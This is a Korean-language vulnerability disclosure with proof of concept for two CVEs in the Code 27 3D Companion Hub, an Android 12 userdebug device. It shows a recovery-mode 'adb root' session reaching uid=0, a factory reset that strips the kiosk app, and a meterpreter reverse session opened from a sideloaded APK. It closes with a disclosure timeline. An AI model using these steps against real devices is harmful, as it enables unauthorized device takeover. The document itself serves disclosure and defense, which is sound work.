
CVE-2026-36027 및 CVE-2026-36028에 대한 개념 증명
Code 27 3D Companion Hub는 맞춤형 AI 캐릭터("Codie")를 애니메이션 3D 컴패니언으로 렌더링하는 물리적 데스크톱 장치입니다. 사용자는 어떤 3D 모델이든 업로드하거나 생성할 수 있으며, 멀티모달 AI를 통해 캐릭터가 주변 환경을 인식하고, 어조와 신체 언어를 읽고, 개방형 대화를 나눌 수 있습니다.
이 글에서는 장치에 대한 물리적 접근이 필요한 두 가지 취약점을 다룹니다. 두 취약점 모두 아래 빌드에서 검증되었으며, 게시 시점 기준으로 패치되지 않은 상태입니다.
| 필드 | 값 |
|---|---|
| 제품 | Code 27 3D Companion Hub |
| Companion Hub UI 버전 | 1.2.0 |
| SoC / 보드 | Rockchip RK3588S (rk3588s_yt921) |
| OS | Android 12 |
| 빌드 ID | SQ3A.220705.003.A1 |
| 전체 fingerprint | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| 빌드 유형 | userdebug / release-keys |
출고 펌웨어는 userdebug 빌드입니다(리커버리 배너와 ro.build.display.id에서 확인할 수 있음). userdebug 빌드는 adb root를 통해 adbd를 root로 재시작할 수 있게 하며, 이는 CVE-2026-36027이 존재할 수 있는 핵심 요소입니다.
물리적으로 근접한 공격자는 Companion Hub를 Android 리커버리로 부팅하여 root 권한의 ADB 셸(uid=0, SELinux 컨텍스트 u:r:su:s0)을 얻을 수 있습니다. 이 장치는 userdebug 빌드로 출고되므로 adb root를 통해 adbd를 root로 재시작할 수 있으며, 이를 통해 공격자는 리커버리 환경과의 읽기/쓰기 상호 작용, 빌드 및 하드웨어 속성 열거, 리커버리 기능(sideload, fastboot, 파티션 작업)에 대한 접근 권한을 얻을 수 있습니다.
얻은 접근 권한은 라이브 Android 런타임이 아닌 리커버리 ramdisk 내부에 국한됩니다. 테스트에서 리커버리의 Mount /system 작업은 실패했으며(libfs_mgr가 /dev/block/by-name/system을 열 수 없음), 따라서 이 경로를 통해서는 system 파티션이 직접 마운트되지 않았고, 키오스크와 복호화된 사용자 데이터를 포함한 부팅된 사용자 환경도 이 모드에서는 제공되지 않습니다.
그럼에도 이는 중요한데, 리커버리 환경에 대한 root 접근은 영구적인 장치 상태를 수정(예: 파티션 쓰기 또는 제작된 업데이트 패키지 적용)할 수 있는 기반이 되기 때문입니다. 이를 통해 공격자가 제어하는 코드가 이후 정상 부팅 시 실행되어 라이브 장치에 발판을 마련할 수 있습니다.
Mount /system으로 이동한 후 강조 표시하고 확인합니다. 실패한 것처럼 보일 것입니다. 이는 정상적인 동작이며 익스플로잇은 여전히 작동합니다. (리커버리 로그에는 libfs_mgr가 /dev/block/by-name/system을 열지 못한 것으로 표시됩니다.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
리커버리 메뉴에서 수행된 공장 초기화는 키오스크 애플리케이션이 설치된 userdata 파티션을 지웁니다. 키오스크는 system 파티션의 일부가 아니므로 재부팅 시 복원되지 않으며, 장치는 표준적이고 제한 없는 Android 환경(런처, 웹 브라우저, 파일 관리자, 설정 및 기타 시스템 앱)으로 부팅됩니다.
이 제한 없는 환경에서 공격자는 개발자 옵션/USB 디버깅을 다시 활성화하고, 임의의 APK를 사이드로드하여 실행함으로써 라이브 운영 체제에서 셸을 얻을 수 있습니다. 테스트에서 이는 권한이 없는 애플리케이션 사용자 u0_a79로 실행되는 meterpreter 세션을 생성했습니다. 이는 리커버리 ramdisk가 아닌 라이브 부팅 OS를 대상으로 실행되므로 CVE-2026-36027의 리커버리 모드 root 셸과는 다른 권한 및 데이터 컨텍스트입니다. 이 상태에서 설치되고 실행된 코드는 정상적인 장치 작동의 일부로 실행되므로, 공격자에게 장치 및 사용자 접근 가능 파일시스템에 대한 대화형 제어 권한을 부여합니다.
Wipe data/factory reset을 강조 표시하고 초기화를 확인합니다.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| 날짜 | 내용 |
|---|
| 2026-02-17 | 두 취약점 모두 Code 27 팀에 공개되어 확인되었습니다. |
| 2026-02-17 | 두 0-day 취약점 모두 MITRE에 보고되었습니다. |
| 2026-02-18 | Code 27 팀이 해결 방안을 논의하고 추가 정보를 수집한 후 수정될 것이라고 밝혔습니다. |
| 2026-06-15 | MITRE가 CVE-2026-36027 및 CVE-2026-36028을 할당합니다. |
| 2026-06-15 | Code 27에 할당 사실이 통보되었습니다. 최초 연락 담당자가 빌드 검토를 위해 보안 팀에 정보를 전달합니다. |
| 2026-06-16 | Code 27 보안 팀이 전체 기술 세부 정보를 다시 요청합니다. |
| 2026-06-17 | 전체 기술 세부 정보가 보안 팀에 다시 제공되었습니다. |
| 2026-06-18 | 보안 팀의 응답이 없었습니다. |
| 2026-06-19 | Code 27 담당자가 기업에는 일반적으로 보안 문제 해결을 위해 90일이 주어지며 보안 팀이 이미 알고 있다고 밝힙니다. 담당자에게 문제가 120일 이상 전에 보고되었다는 사실이 전달됩니다. 7월 1일 공개 기한이 설정됩니다. |
| 2026-06-25 | 기한 및 공개에 대한 최종 경고를 확인하기 위해 Code 27 보안 팀에 연락했습니다. |
| 2026-06-28 | Code 27이 사과하고 CVE 식별자와 공개 기한을 확인하며 7월 1일 이전에 공개 권고(advisory)와 링크를 보내겠다고 밝힙니다. |
| 2026-07-01 | 보안 권고 상태에 대해 Code 27에 연락했지만 응답이 없었습니다. |
| 2026-07-02 | 패치되지 않은 취약점 세부 정보가 공개되었습니다. |